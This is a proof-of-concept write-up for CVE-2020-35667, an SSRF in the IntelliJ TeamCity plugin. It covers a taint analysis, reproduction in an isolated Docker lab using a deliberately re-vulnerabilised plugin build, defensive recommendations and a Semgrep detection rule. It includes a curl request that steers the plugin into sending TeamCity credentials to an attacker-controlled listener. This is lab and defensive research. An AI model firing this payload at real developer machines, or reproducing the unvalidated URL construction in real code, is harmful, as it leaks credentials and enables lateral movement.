# CVE-2020-35667-PoC

### Overview

**DISCLAIMER**
The vulnerable behaviour illustrated below was verified empirically from decompiled, patched artifacts, which tries to resemble the original vulnerability inferred with an heuristic approach, since the original vulnerable plugin release is no longer available. The repository contains a zip with a minimally edited build (derived from the patched version) used for isolated lab reproduction.

This CVE regards the IntelliJ IDEA TeamCity integration plugin, which enable the integration of the IDE with TeamCity, a CI/CD orchestrator and archive that stores build configs and other artifacts, exposed through REST/RPC APIs

The plugin opens locally few HTTP endpoints, which in a common scenario are called with the components the plugin has added to the GUI. In the observed setup this local server implements no access-control layer and factually acts as middleware between the IDE and the TeamCity server.

The plugin server-side request handler accepts a user controlled parameter in the URL and uses it to build a patch download URL without sufficient validation(CWE-918). The plugin then issues an HTTP GET to the crafted URL, carrying logged in user authentication headers, with Teamcity credentials, since TeamCity exposes REST/RPC APIs.
Assumed that the attacker can reach the developer host(e.g phishing, xss) can execute an SSRF(CAPEC-6634) attack, forcing the plugin to make a request to an attacker controlled host, which is listening at the endpoint encoded in the parameter controlled by the user, leading to credential leak. Which set the context for e.g  foothold or lateral movement. 

### Source Code Taint Analysis

- **Source :** `Connection.run()` → `Connection.doHandle()`
fetches the request uri and parameters, parsed in the`params` map (including`file` parameter)
- **Initial handling:**  → `ActivatorBase.handle(res, params, ...)` — `res == "/patch"` triggers `handleLoadPatch(params)`
- **Propagation:** `handleLoadPatch` schedules work and eventually calls `UrlUtil.createUrl(params, serverUrl)` — this is the component I have modified to a be vulnerable, the `file` value is inserted as the URL scheme:address/path without validation, other parameters are appended
- **Sink (sensitive operation):** `ActivatorBase.downloadPatch(patchUrl, username, password)` creates an `HttpClient` with `UsernamePasswordCredentials` and calls `client.executeMethod(get)` , the actual network request is issued to `patchUrl`

### How to reproduce

My set-up : TeamCity **2020.2.1**, IntelliJ IDEA Community **2018.1.8**, host: ARM64 Kali Linux 2025.3. All containers air-gapped

- (optional) create an isolated docker network
    
    ```jsx
    docker network create tc-nec
    ```
    
- Download and start IntelliJ IDEA, create an ephemeral project of any kind. Load the extension provided as zip file
- Build & start the TeamCity server container : relevant artifacts provided in tc-server folder, reach the TeamCity dashboard and create an ephemeral teamcity environment and a user
    
    ```jsx
    docker build -t lab-teamcity ./pocartifacts/tc-server
    
    docker run -d --name lab-teamcity \
      --network tc-net \
      -p 127.0.0.1:8111:8111 \
      lab-teamcity
    ```
    
- **Build & start the malicious HTTP sink :** relevant artifacts provided in http-listener folder
    
    ```jsx
    docker build -t lab-sink ./pocartifacts/http-listener
    
    docker run -d --name lab-sink \
      --network tc-net \
      -p 127.0.0.1:8000:8000 \
      lab-sink
    ```
    
- (optional) enable plugin logging with trace severity for granular execution analysis : IDE GUI → search debug log settings → add #jetbrains.buildServer.activation row → restart IDE
- Connect to the local TeamCity server : Settings → Tools → TeamCity → Add Server and point it at [http://127.0.0.1:8111](http://127.0.0.1:8111/) , login with the created user
- send the following request
    
    ```jsx
    curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
    ```
    
- Sink server logged the plugin http request
    
    ```jsx
    docker exec lab-sink "cat sink.log"
    ```
    

### Security Requirements

Firstly I would like to suggest shifting left security in the SDLC, through the specification of quantifiable and implementable security requirements, keeping the OWASP ASVS requirements as guideline, forking it and adopting only code-related relevant to the application requirements. Application Security specialists should map these requirements to specific code components and or even single snippets. Developers should be trained to know how to implement these security requirements : know their language/framework built-in security mechanisms. Together they should work on a matrix that map each requirement to the owning package, class, or function and list relevant acceptance checks (unit tests, SAST rules), this would ensure the compliance of the codebase to the forked ASVS set.


### SAST & DAST Detection

Multiple security review gates must be integrated across the whole delivery pipeline.
From directly in the developer machine through an IDE plugin and pre-commit git hooks, to CI pipeline full scans and fuzzing-based DAST in tailored environments(continuous deployment). On any error the build/delivery should fail. The data resulting from these scans should constantly be aggregated, reviewed to refine the process and eliminate false positives/true negatives. 

This is a sample Semgrep rule to detect URL build with missing user-controlled parameter sanitization, in Java with the http-client library used in the plugin

```jsx
rules:
  - id: java-ssrf-url-from-params
    patterns:
      - pattern-either:
          - pattern: |
              $A = params.get($P)
              ...
              $URLSTRING = $A + $REST
              ...
              new URL($URLSTRING)
          - pattern: |
              $A = request.getParameter($P)
              ...
              $URLSTRING = $PREFIX + $A + $SUFFIX
              ...
              new URL($URLSTRING)

          - pattern: new URL(params.get($P))
          - pattern: new URL(request.getParameter($P))

      - pattern-not: "// semgrep:skip"
    message: |
      Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
      Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
    languages: [java]
    severity: ERROR
    metadata:
      cwe: "CWE-918"
      tags: ["security", "ssrf", "input-validation"]

```
